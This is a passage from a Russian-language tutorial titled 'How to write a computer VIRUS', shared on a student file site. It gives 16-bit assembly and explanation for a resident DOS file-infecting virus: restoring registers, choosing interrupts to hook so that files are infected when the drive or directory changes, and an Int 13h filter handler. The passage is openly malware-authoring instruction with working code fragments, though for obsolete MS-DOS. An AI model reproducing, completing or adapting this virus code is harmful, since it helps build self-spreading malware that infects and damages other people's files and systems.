Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Как написать компьютерный ВИРУС.doc
Скачиваний:
4
Добавлен:
30.10.2018
Размер:
1.16 Mб
Скачать

2.15 Восстанавливаем регистры

Перед тем, как передать управление прерванной про-

грамме,необходимо восстановить значения регистров,

которые имели место при получении управления рези-

дентной программой :

exit_zarasa: ;Восстановим

;регистры

;процессора ...

pop es

pop ds

pop bp

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

mov ss,cs:ss_save-110h ;Восстановим

mov sp,cs:sp_save-110h ;стек ...

iret

Кроме того, вирус восстанавливает стек прерванной

программы, без чего дальнейшая работа невозможна .

2.16 Пишем обработчики прерываний

Для начала выясним, какие прерывания и с какой це-

лью наш вирус будет перехватывать .

Во - первых, необходимо перехватить прерывание Int

21h .Дело в том, что наш вирус является резидент-

ным, и должен заражать файлы при тех или иных со-

бытиях в вычислительной системе.Очень многие виру-

сы активизируются, например,при смене текущего ди-

ска или каталога .Этот метод является весьма удач-

ным, и мы реализуем именно его .Но для этого нужно

знать, когда именно выполняются смена каталога или

диска.Единственный способ узнать о таком событии -

это перехватить прерывание Int 21h на себя, и при

каждом его вызове проверять, какая именно функция

вызывается . Так мы и сделаем .

Во - вторых, нам не обойтись без перехвата Int 13h

( см п. 2.13 ) .

В - третьих,поскольку наш вирус будет пользоваться

функциями DOS,которые работают с диском в резиден-

тном режиме,необходимо знать,когда можно безопасно

обращаться к этим функциям . Для этого следует

перехватить прерывание Int 28h,которое всегда вы-

зывается только при выполнении DOS реентерабельной

секции своего кода .Иными словами, при возникнове-

нии прерывания Int 28h можно смело пользоваться

любыми функциями DOS .

Далее, для проверки наличия вирусного кода в памя-

ти наш вирус будет использовать так называемое

мультиплексное прерывание - Int 2fh, и поэтому мы

должны перехватить и его ( см п. 2.7 ) .

И, наконец, мы должны написать обработчик критиче-

ской ошибки .Она возникает,например,если мы попы-

таемся записать информацию на вынутую из дисковода

дискету . Наш вирус должен перехватить прерывание

по критической ошибке ( Int 24h ) и выполнить его

обработку .

2.17 Обработчик Int 13h

Как мы уже выяснили, этот обработчик должен запи-

сывать в ячейку " tg_13h " значение " 1 ", если в

данный момент выполняется прерывание Int 13h, или

значение " 0 " - в противном случае .

К сожалению,в MS DOS отсутствует какое - либо сре-

дство, позволяющее узнать, когда именно активно

прерывание Int 13h .И поэтому единственный способ

решения этой задачи - установка на Int 13h так на-

зываемого " фильтра ", который отслеживал бы все

вызовы вышеуказанного прерывания .

Самое простое решение - это перехватить Int 13h на

себя,а в самом обработчике вызвать системный обра-

ботчик как дальнюю процедуру .Конечно, перед этим

нужно записать в " tg_13h" единицу - это будет ин-

дикатором выполнения Int 13h в данный момент .Ко-

гда системный обработчик выполнится, управление

вновь получит " фильтр ".Поскольку Int 13h уже вы-

полнилось, можно сбросить в "0" переменную tg_13h.

Итак :

; _______________________________________________

;| |

;| Напишем новые обработчики INT 13h, INT 21h, |

;| INT 24h и INT 2fh ... |

;|_______________________________________________|

to_new_13h equ $-vir

new_13h: jmp cs:start_13h

tg_13h db 0

ax_13h dw 0

cs_13h dw 0

ip_13h dw 0

start_13h: mov cs:tg_13h - 110h,1

pushf

db 9ah ;Код команды

old_13h dw 0 ; " CALL " ...

old_13h_2 dw 0

mov cs:ax_13h - 110h,ax;Поместим новый

pop ax ;флаг на место

mov cs:ip_13h - 110h,ax;старого ( CF )

pop ax

mov cs:cs_13h - 110h,ax

pop ax

pushf

mov ax,cs:cs_13h - 110h

push ax

mov ax,cs:ip_13h - 110h

push ax

mov ax,cs:ax_13h - 110h

mov cs:tg_13h - 110h,0

iret

Здесь константа " to_new_13h " показывает смещение

от начала вирусного кода до начала обработчика .

Хотелось бы обратить ваше внимание на одну особен-

ность .Она состоит в том, что прерывания Int 21h и

Int 13h возвращают в регистре AX код ошибки,а бит

CF регистра флагов используется как индикатор этой

ошибки .

Пусть, например, при получении фильтром управления

бит CF имел значение FLAG 1, а регистры CS и IP

имели значения CS 1 и IP 1.Тогда команда " pushf "

занесет значение FLAG 1 в стек .Команда "call" по-

местит в стек значения CS 1 и IP 1,после чего уп-

равление получит системный обработчик .Этот обра-

ботчик занесет в стек значение FLAG 2, и при своем

завершении выполнит команду "iret" .Команда "iret"

снимет с вершины стека значения IP 1,CS 1 и FLAG2.

Теперь уже наш фильтр сбросит в " 0 " переменную

" tg_13h ",и командой " iret " передаст управление

прерванной программе .Но дело в том, что эта кома-

нда извлечет из стека значения IP и CS, которые

имели место в момент вызова прерывания Int 13h, а

также регистр флагов FLAG 1 .Таким образом,из сте-

ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-

го не произошло, мы должны поместить в стек FLAG 2

вместо FLAG 1 . Именно для этого предназначены ко-

манды,записанные после ячейки " old_13h_2 ".Работа

этих команд особых пояснений не требует .Мы просто

" добираемся " до нужной ячейки в стеке, последо-

вательно считывая предшествующие .Можно, конечно,

написать более эффективный фрагмент,зато выбранный

нами метод достаточно прост .